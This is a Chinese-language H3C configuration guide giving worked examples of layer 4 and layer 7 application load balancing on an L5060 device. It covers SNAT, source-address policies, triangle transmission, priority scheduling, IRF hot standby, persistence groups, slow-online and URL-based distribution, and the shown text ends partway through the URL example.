02-应用负载均衡典型配置举例
本章节下载 (10.31 MB)
Copyright © 2022 新华三技术有限公司 版权所有,保留一切权利。
非经本公司书面许可,任何单位和个人不得擅自摘抄、复制本文档内容的部分或全部,并不得以任何形式传播。
除新华三技术有限公司的商标外,本手册中出现的其它公司的商标、产品标识及商品名称,由各自权利人拥有。
本文档中的信息可能变动,恕不另行通知。
本文档介绍4-7层应用负载均衡的配置案例。
本文档不严格与具体软、硬件版本对应,如果使用过程中与产品实际情况有差异,请参考相关产品手册,或以设备实际情况为准。
本文档中的配置均是在实验室环境下进行的配置和验证,配置前设备的所有参数均采用出厂时的缺省配置。如果您已经对设备进行了配置,为了保证配置效果,请确认现有配置和以下举例中的配置不冲突。
本文档假设您已了解LB(Load Balance,负载均衡)特性。
应用负载均衡支持的虚服务器类型包括:IP、TCP、UDP、RADIUS、HTTP、MySQL、SIP-TCP、SIP-UDP,其中IP、TCP和UDP类型统称为四层应用负载均衡,HTTP、RADIUS等类型称为七层应用负载均衡:
· 四层应用负载均衡:是基于流的负载均衡,通过对报文进行逐流分发,将同一条流的报文分发给同一台服务器。四层应用负载均衡对基于HTTP的七层业务无法做到按内容分发,从而限制了负载均衡的业务适用范围。
· 七层应用负载均衡:是基于内容的负载均衡,通过对报文承载的内容进行深度解析,根据其中的内容进行逐包分发,按既定策略将连接导向指定的服务器,从而实现了业务范围更广泛的应用负载均衡。
如图所示,内网用户经过负载均衡设备访问外网服务器。三台服务器Server A、Server B和Server C均可提供FTP服务。通过配置应用负载均衡,让这三台服务器联合提供FTP服务,并通过健康检测来监控这些服务器是否可达。
图4-1 SNAT应用场景应用负载均衡组网图
为实现SNAT应用负载均衡,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器、虚服务。
· 配置SNAT地址池,实服务器到SNAT地址池路由可达。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 入方向交换机配置二层透传,Host到LB路由可达,出方向交换机配置三层路由,LB到server路由可达,server到LB路由可达,下一跳都是在交换机上进行配置。
· 注意实服务器回LB设备上路由可达,可将SNAT地址池中的地址跟出接口地址一个网段,出接口下要配置相应的sub地址;如果不是一个网段,需要在实服务器上配置回SNAT地址池的路由。本举例中SNAT地址池地址跟出接口地址一个网段,实服务器上不用再配置到SNAT路由了。
· 如果虚服务IP与客户端地址同网段,需要在虚服务上开启响应ARP功能。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图4-2 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat1,起始IP地址是1.1.1.11,结束IP地址是1.1.1.11,如下图所示。
图4-3 创建源地址池
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图4-4 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图4-5 添加实服务器
点击<确定>,完成操作
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
创建TCP类型的虚服务器vs,配置其VSIP为61.159.4.100,指定默认实服务组sf1,并开启虚服务。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,61.159.4.100/32,开启虚服务功能,如下图所示。
图4-6 新建虚服务器
点击<确定>,完成操作。
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
loadbalance snat-pool snat1
ip range start 1.1.1.11 end 1.1.1.11
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
default server-farm sf1
service enable
如图所示,用户经过负载均衡设备访问服务器。三台服务器Server A、Server B和Server C均可提供FTP服务。通过配置应用负载均衡,让这三台服务器联合提供FTP服务,并通过健康检测来监控这些服务器是否可达。
图4-7 基于源地址应用负载均衡组网图
为实现源地址应用负载均衡,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器、虚服务。
· 配置策略。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图4-8 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图4-9 添加实服务组
单击<确定>按钮,完成操作。
创建实服务组sf2、sf3与sf1步骤相同。
在导航栏中选择“策略>应用负载均衡>实服务组,进入实服务组页面。
编辑实服务组sf1,添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图4-10 添加实服务器
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,点击添加实服务组成员,参照上图步骤创建实服务器rs2,配置其IPv4地址为192.168.1.2。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf3,点击添加实服务组成员,参照上图步骤创建实服务器rs3,配置其IPv4地址为192.168.1.3。
在导航栏中选择“策略>应用负载均衡>高级策略>流量特征”,进入流量特征页面。
单击<新建>,添加流量特征名称为lc1,类型为通用,匹配方式为匹配任意一条规则,Match ID为1,类型选择源IPv4,IPv4地址为10.0.4.0,掩码长度为26,点击<确定>按钮,如下图所示。
图4-11 添加流量特征信息
单击<确定>按钮,完成操作。
创建lc2与lc1步骤相同,lc2匹配规则IPv4地址是10.0.4.64,掩码长度26。
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,进入动作页面。
单击<新建>,添加动作名称为la1,类型选择通用,主用实服务组sf1,如下图所示。
图4-12 添加动作信息
点击<确定>,完成操作。
创建la2、la3与la1步骤相同,la2主用实服务组是sf2,la3主用实服务组是sf3。
在导航栏中选择“策略>应用负载均衡>高级策略>负载均衡策略”,进入负载均衡策略页面。
单击<新建>,添加策略名称为lp1,类型选择通用,规则点击<新建>,流量特征选择lc1,动作选择la1,点击<确定>;再次点击<新建>,流量特征选择lc2,动作选择la2,点击<确定>;默认动作选择la3,如下图所示。
图4-13 添加策略lp1信息
图4-14 策略lp1配置信息
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,61.159.4.100/32,开启虚服务功能,负载均衡策略为lp1,如下图所示。
图4-15 新建虚服务器
点击<确定>,完成操作。
当源地址为10.0.4.1发起FTP访问请求时,匹配策略lc1,选中rs1,查看实服务器统计,此时只有rs1有流量统计:
当源地址为10.0.4.65发起FTP访问请求时,匹配策略lc2,选中rs2,查看实服务器统计,此时只有rs2有流量统计:
当源地址为10.0.4.129发起FTP访问请求时,匹配策略lc3,选中rs3,查看实服务器统计,此时只有rs3有流量统计:
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
server-farm sf3
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
# real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
loadbalance class lc1 type generic match-any
match 1 source ip address 10.0.4.0 26
#
loadbalance class lc2 type generic match-any
match 1 source ip address 10.0.4.64 26
#
loadbalance action la1 type generic
server-farm sf1
#
loadbalance action la2 type generic
server-farm sf2
#
loadbalance action la3 type generic
server-farm sf3
#
loadbalance policy lp1 type generic
class lc1 action la1
class lc2 action la2
default-class action la3
#
real-server rs1
ip address 192.168.1.1
server-farm sf1
#
real-server rs2
ip address 192.168.1.2
server-farm sf2
#
real-server rs3
ip address 192.168.1.3
server-farm sf3
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
lb-policy lp1
service enable
#
如图所示,三台服务器Server A、Server B和Server C均可提供FTP服务,用户通过访问虚服务地址经过负载均衡设备访问真实服务器,由于服务器回应反向流量比较大,为了减轻负载均衡设备的压力,服务器回程的流量不再经过负载均衡设备,直接通过交换机转发,此时要求服务器回应报文的源地址为虚服务器的地址,在考虑硬件性能的前提下让这三台服务器联合提供FTP服务,并通过健康检测来监控这些服务器状态。
图4-16 三角传输组网图
为实现三角传输的应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务、负载均衡策略
· 由于服务器回应报文通过交换机直接转发,所以服务器回应报文的源地址要为虚服务器的地址,因此除了配置各自网卡地址外,还需要三台真实服务器侧需要单独配置loopback口,并且地址设置为虚服务器的地址61.159.4.100
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 入方向交换机配置三层,入方向网关在交换机上,Host到交换机直连路由可达,交换机到LB直连路由可达,Host到LB路由可达,下一跳在交换机上,出方向交换机配置三层路由,LB到server路由可达,server到Host路由可达,下一跳都是在交换机上。
· 流量正向走LB,反向不走LB,服务器回Host路由可达。
· 实服务组中关闭DNAT功能。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图4-17 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,关闭目的地址转换功能,如下图所示。
图4-18 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图4-19 添加实服务组成员信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>公共配置>持续性组”,进入持续性组页面。
单击<新建>,添加持续组名称为sg1,类型为地址端口,IPv4方法选择源地址,如下图所示。
图4-20 添加持续性组信息
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。单击<新建>,添加虚服务器名称为vs,类型选择TCP,61.159.4.100 /32,开启虚服务功能,持续性方法为sg1,如下图所示。
图4-21 新建虚服务器
点击<确定>,完成操作。
#
nqa template icmp t1
#
sticky-group sg1 type address-port
ip source
#
server-farm sf1
predictor hash address source
transparent enable
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
default server-farm sf1 sticky sg1
service enable
#
如图所示,内网用户经过负载均衡设备访问外网服务器。三台服务器Server A、Server B和Server C均可提供FTP服务,Host访问服务器的流量会根据三台服务器的优先级进行选择,如果实服务组中配置了限制调度的个数,实服务器优先级跟调度个数会共同对实服务器进行调度,实现负载分担。
图4-22 基于优先级调度应用负载均衡组网图
为实现基于优先级调度的应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务。
· 实服务组中配置可选择的实服务器的数量为1,实服务器配置不同的优先级分别为4、8、1。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
· 实服务组中配置可选择的实服务器数量,三台服务器配置不同的优先级。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图4-23 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,勾选“限制可被调度算法调用的实服务器数量”,最小数量与最大数量均配置成1,如下图所示。
图4-24 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,优先级为4,实服务组选择sf1,如下图所示。
图4-25 添加实服务组成员信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3。rs2优先级为8,IPv4地址为192.168.1.2;rs3优先级为1,IPv4地址为192.168.1.3。
配置虚服务器。创建TCP类型的虚服务器vs,配置其VSIP为61.159.4.100,应用实服务组sf1,并开启虚服务。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,配置虚服务器IP为61.159.4.100,指定默认实服务组sf1,并开启虚服务,如下图所示。
图4-26 新建虚服务器
点击<确定>,完成操作。
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
selected-server min 1 max 1
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
priority 8
success-criteria at-least 1
real-server rs3 port 0
priority 1
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
default server-farm sf1
service enable
#
三台服务器Server A、Server B和Server C均可提供FTP服务,且这三台服务器的硬件配置顺次降低。通过配置应用负载均衡,在考虑硬件性能的前提下让这三台服务器联合提供FTP服务,并通过健康检测来监控这些服务器是否可达。
图4-27 四层SLB双机热备组网图
· 两台LB设备堆叠配置,与交换机相连的接口进行冗余配置。
· LB设备上配置实服务组、实服务器、虚服务。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 入方向交换机配置二层透传,入方向网关在LB上,Host到LB路由可达,出方向交换机配置二层透传,LB到server路由可达,server到LB路由可达,网关在LB上。
· LB设备与交换机直连的接口均配置成冗余口,LB上入方向配置冗余子接口,交换机与LB直连的接口配置成二层trunk口,放行与LB出入口相一致的vlan。
以下配置均在LB设备上进行。
在导航栏中选择“系统>高可靠性>双机热备”,进入双机热备页面,勾选备份会话表项,如下图所示。
图4-28 配置会话备份
在导航栏中选择“系统>虚拟化>IRF”,点击<配置>,进入IRF配置界面。将用于堆叠的接口添加进去,堆叠成员ID是1的作为主设备,优先级设置为32。
图4-29 配置堆叠成员1
点击<确定>,提示重启该端口
点击<是>,完成操作。
配置堆叠成员ID为2的设备,优先级为1,将用于堆叠的接口添加进去,同上述步骤,配置参数如下图所示。
图4-30 配置堆叠成员2
点击<确定>,提示重启该端口
点击<是>,完成操作。
在导航栏中选择“系统>高可靠性>双机热备”,点击“冗余组”,点击新建冗余组,配置冗余组名称为1。
图4-31 创建冗余组1
点击<确定>,进入冗余配置界面,默认主备优先级,主是1,备是2。配置冗余组和冗余子接口,配置参数信息如下图所示:
图4-32 配置冗余组1
点击<确定>,完成操作。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加名称为t1、类型为ICMP的健康检测模板,如下图所示。
图4-33 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康检测选择t1的实服务组,如下图所示。
图4-34 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,添加实服务组成员,新建实服务器名称为rs1,IP地址为192.168.1.1,如下图所示。
图4-35 添加实服务器信息
单击<确定>按钮,完成操作。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,配置虚服务IP为61.159.4.100,应用实服务组sf1,并开启虚服务,如下图所示。
图4-36 新建虚服务器
点击<确定>,完成操作。
进入冗余组界面,查看冗余组运行信息
当down掉冗余主接口Ten-GigabitEthernet1/1/4时,再次查看冗余状态:
#
irf-port 1/1
port group interface Ten-GigabitEthernet1/1/2
#
irf-port 2/2
port group interface Ten-GigabitEthernet2/1/4
#
interface Reth1
member interface Ten-GigabitEthernet1/1/2 priority 100
member interface Ten-GigabitEthernet2/1/4 priority 50
#
redundancy group 1
member interface Reth1
node 1
bind slot 1
priority 100(Web界面现在是不能进行配置的,有需求跟踪“冗余口冗余组分离”)
track 1 interface Ten-GigabitEthernet1/1/4
node 2
bind slot 2
priority 50
track 2 interface Ten-GigabitEthernet2/1/5
#
session synchronization enable
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
default server-farm sf1
service enable
#
track 1 interface Ten-GigabitEthernet1/1/4
track 2 interface Ten-GigabitEthernet2/1/5
#
如图所示,Host发起访问虚服务器的地址,通过LB设备对3台服务器进行访问,三台服务器均可提供HTTP服务,访问服务器的流量将根据负载均衡策略在三台服务器之间负载分担,LB设备上配置源地址哈希算法,每一个用户的请求必须分配到同一个服务器上。当其中一个实服务器出现健康检测震荡,建立在其他服务器上的相同源地址,但是端口不一样的用户依然要分配到通一个服务器上面去。此时源地址哈希算法必须和源地址持续性一起使用,以防止已有的用户业务出现闪断。
图5-1 基于源地址哈希与源地址持续性的七层负载组网图
为实现基于源地址哈希与源地址持续性的七层应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务。
· 配置地址端口类型的持续性组,持续性方法为源地址。此时若配置源地址端口持续性,当实服务器出现持续健康检测震荡,以及建立在其他服务器上的相同源地址但是端口不一样的用户会重新进行源地址哈希,有可能会分配到不同的服务器上,导致已有的用户经常闪断。
· 入方向交换机二层透传,网关在LB上,Host到LB路由可达,出方向交换机二层透传,网关在LB上,LB到服务器路由可达、服务器到LB路由可达。
本举例是在L5060的 Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
· 配置持续性方法为源地址持续性。
以下配置均在LB设备上进行。
在导航栏中选择“对象 >健康检测”,进入健康检测页面。
单击<新建>,添加ICMP类型的健康检测模板,如下图所示。
图5-2 添加健康检测模板t1
单击<确定>按钮,完成操作。
创建实服务组sf1,采用源IP地址哈希算法,并添加实服务组成员。
在导航栏中选择“策略 > 应用负载均衡 > 实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,如下图所示。
图5-3 添加实服务组
点击<添加>,添加实服务组成员rs1,
图5-4 添加实服务组成员rs1
单击<确定>按钮,完成操作。
创建rs2、rs3与rs1步骤相同:配置rs2的IP地址为192.168.1.2,引用健康检测方法t1;配置rs3的IP地址为192.168.1.3,引用健康检测方法t1.
在导航栏中选择“策略 > 公共配置 > 持续性组”,单击<新建>按钮,创建地址端口类型的持续性sg-add,源地址持续性方法。
图5-5 创建地址端口类型的持续性组,持续性方法为源地址
点击<确定>,完成操作。
创建地址端口类型的持续性sg-add-port,源地址端口持续性方法。
图5-6 创建地址端口类型的持续性组,持续性方法为源地址端口
点击<确定>,完成操作。
在导航栏中选择“策略 > 应用负载均衡 > 虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTP,配置虚服务IP为61.159.4.100,实服务组为sf1,开启虚服务,如下图所示。
图5-7 配置虚服务器vs
点击<确定>,完成操作。
图5-8 查看实服务组sf1状态
客户端向服务器发起一个源地址多个端口的HTTP请求,查看实服务器统计信息,只有rs1有流量:
图5-9 查看实服务器统计信息
图5-10 查看实服务组sf1状态
查看实服务器统计信息:由于虚服务配置了源地址持续性方法,当实服务器出现健康检测失败后又成功时,同一源地址,不同端口的请求仍然分配到同一台实服务器上。查看实服务器统计信息,仍然只有rs1有流量。
图5-11 查看实服务器统计信息
图5-12 查看实服务组sf1状态
客户端向服务器发起一个源地址多个端口的HTTP请求,查看实服务器统计信息,只有rs1有流量:
图5-13 查看实服务器统计信息
图5-14 查看实服务组sf1状态
查看实服务器统计信息:由于虚服务配置了实服务组的持续性组为源地址端口持续性方法,当实服务器出现健康检测失败后又成功时,会出现同一源地址,不同端口的请求分配到不同的实服务器上。
图5-15 查看实服务器统计信息
#
nqa template icmp t1
#
server-farm sf1
predictor least-connection member
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
probe t1
real-server rs2 port 0
success-criteria at-least 1
probe t1
real-server rs3 port 0
success-criteria at-least 1
probe t1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs1 type http
virtual ip address 61.159.4.100
default server-farm sf1 sticky sg-add
service enable
#
如图所示,Host发起访问虚服务器的地址,通过LB设备对3台服务器进行访问,三台服务器均可提供HTTP服务,访问服务器的流量将根据负载均衡策略在三台服务器之间负载分担。LB设备上配置最小连接算法和源地址持续性,在服务器负载分担不均匀的场景下,要求每一个用户发送的请求必须分配到同一个服务器上。配置温暖上线功能,当其中一个实服务器出现健康检测失败后又成功的情况下,所有的新建流量不会全部突发到这个服务器上,避免服务器出现反复up、down的问题。
图5-16 基于最小连接算法+源地址持续性+温暖上线的七层负载组网图
为实现基于最小连接算法+源地址持续性+温暖上线的七层应用负载均衡,需要在LB设备上完成如下配置:
· 实服务组上配置温暖上线功能。最小连接算法必须要和温暖上线一起使用的原因:如果出现服务器健康检测失败后又UP起来,所有的新建都会突发到这个服务器上面去,又导致这个服务器down掉,这样就会导致服务器反复UP,down。
· 配置地址端口类型的持续性组,持续性方法为源地址。
· 入方向交换机二层透传,网关在LB上,Host到LB路由可达,出方向交换机二层透传,网关在LB上,LB到服务器路由可达、服务器到LB路由可达。
本举例是在L5060的 Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
· 实服务组需要开启温暖上线功能。
· 持续性方法为源地址。
以下配置均在LB设备上进行。
在导航栏中选择“对象 >健康检测”,进入健康检测页面。
单击<新建>,添加ICMP类型的健康检测模板,如下图所示。
图5-17 添加健康检测模板t1
单击<确定>按钮,完成操作。
在导航栏中选择“策略 > 应用负载均衡 > 实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为基于成员的加权最小连接算法,开启温暖上线功能,如下图所示。
图5-18 添加实服务组
点击<添加>成员列表,添加实服务组成员rs1,
图5-19 添加实服务组成员rs1
单击<确定>按钮,完成操作。
创建rs2、rs3与rs1步骤相同:配置rs2的IP地址为192.168.1.2,引用健康检测方法t1;配置rs3的IP地址为192.168.1.3,引用健康检测方法t1.
在导航栏中选择“策略 > 公共配置 > 持续性组”,单击<新建>按钮,创建地址端口类型的持续性组
图5-20 创建地址端口类型的持续性组,持续性方法为源地址
点击<确定>,完成操作。
在导航栏中选择“策略 > 应用负载均衡 > 虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTP,配置虚服务IP为61.159.4.100,实服务组为sf1,引用源地址持续性组sg-add,开启虚服务,如下图所示。
图5-21 配置虚服务器vs
点击<确定>,完成操作。
图5-22 查看实服务组sf1状态
图5-23 查看实服务器统计信息
图5-24 查看实服务器统计信息
客户端再次发起这个源地址的访问,查看实服务器流量统计,流量仍然分配到rs3上
图5-25 查看实服务器统计信息
图5-26 查看实服务组sf1状态
客户端向服务器发起HTTP请求,查看实服务器统计信息,rs1和rs2均匀分担流量:
图5-27 查看实服务器统计信息
图5-28 查看实服务组sf1状态
查看实服务器统计信息:由于实服务组配置温暖上线,当rs3健康检测成功后,所有的新建流量不会全部分配到rs3上面,查看三台实服务器,都有新建流量分配。查看rs3流量统计,rs3健康检测成功后,流量计数缓慢增加。
图5-29 查看实服务器统计信息
图5-30 查看实服务组sf1状态
客户端向服务器发起HTTP请求,查看实服务器统计信息,rs1和rs2均匀分担流量。
图5-31 查看实服务器统计信息
图5-32 查看实服务组sf1状态
查看实服务器统计信息:由于实服务组配置了最小连接算法,实服务组密钥配置温暖上线功能,当rs3健康检测成功后,所有的新建流量都会分配到rs3上面,查看rs3流量统计,rs3健康检测成功后,流量计数迅速增加。
图5-33 查看实服务器统计信息
#
nqa template icmp t1
#
server-farm sf1
predictor least-connection member
success-criteria at-least 1
slow-online standby-time 15 ramp-up-time 30
real-server rs1 port 0
success-criteria at-least 1
probe t1
real-server rs2 port 0
success-criteria at-least 1
probe t1
real-server rs3 port 0
success-criteria at-least 1
probe t1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
sticky-group sg-add type address-port
ip source
#
virtual-server vs type http
virtual ip address 61.159.4.100
default server-farm sf1 sticky sg-add
service enable
#
如图所示,Host通过LB设备对6台服务器进行访问,6台服务器Server A、Server B、Server C、Server D、Server E、Server F均可提供HTTP服务;Host访问服务器的流量会根据Host访问的URL在六台服务器之间负载分担:URL中含有sports、government、news的请求分给Server A和Server D,URL中含有finance、technology、shopping的请求分给Server B和ServerE,其他URL的请求分给ServerC和Server F。
图6-1 基于URL的七层负载组网图
为实现基于URL的七层应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务。
· 配置策略,类和动作,类中配置匹配URL的规则,使得URL中含有sports、government、news的请求分给Server A和Server D,URL中含有finance、technology、shopping的请求分给Server B和ServerE,其他URL的请求分给Server C和ServerF。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
· 如果一个HTTP带有多个请求,请配置逐请求负载均衡。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加名称为t1、类型为ICMP的健康检测模板,如下图所示。
图6-2 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-3 添加实服务组
单击<确定>按钮,完成操作。
创建实服务组sf2、sf3与sf1步骤相同。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-4 添加实服务器信息
单击<确定>按钮,完成操作。
创建其余5个实服务器与配置rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs11,配置其IPv4地址为192.168.1.11。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs12,分别配置其IPv4地址为192.168.1.2和192.168.1.12。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf3,点击添加实服务组成员,参照上图步骤创建实服务器rs3和rs13,分别配置其IPv4地址为192.168.1.3和192.168.1.13。
配置HTTP Cookie类型的持续性组。创建HTTP Cookie类型的持续性组。配置持续性方法为Cookie插入,名字为cookie1。(Cookie插入,即在服务器发送的HTTP应答报文中插入Set-cookie字段用于持续性处理)。
在导航栏中选择“策略>公共配置>持续性组”,进入持续性组页面。
单击<新建>,添加持续组名称为sg1,类型为http-cookie,Cookie持续性方法:Cookie插入,Cookie名称为cookie1,如下图所示。
图6-5 添加持续性组信息
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>高级策略>流量特征”,进入流量特征页面。
单击<新建>,添加流量特征名称为lc1,类型选择HTTP,匹配方式为匹配任意一条规则:
· match ID为1,类型选择URL,URL为sports,点击<确定>。
· match ID为2,类型选择URL,URL为news,点击<确定>。
· match ID为3,类型选择URL,URL为government点击<确定>。
图6-6 添加流量特征lc1
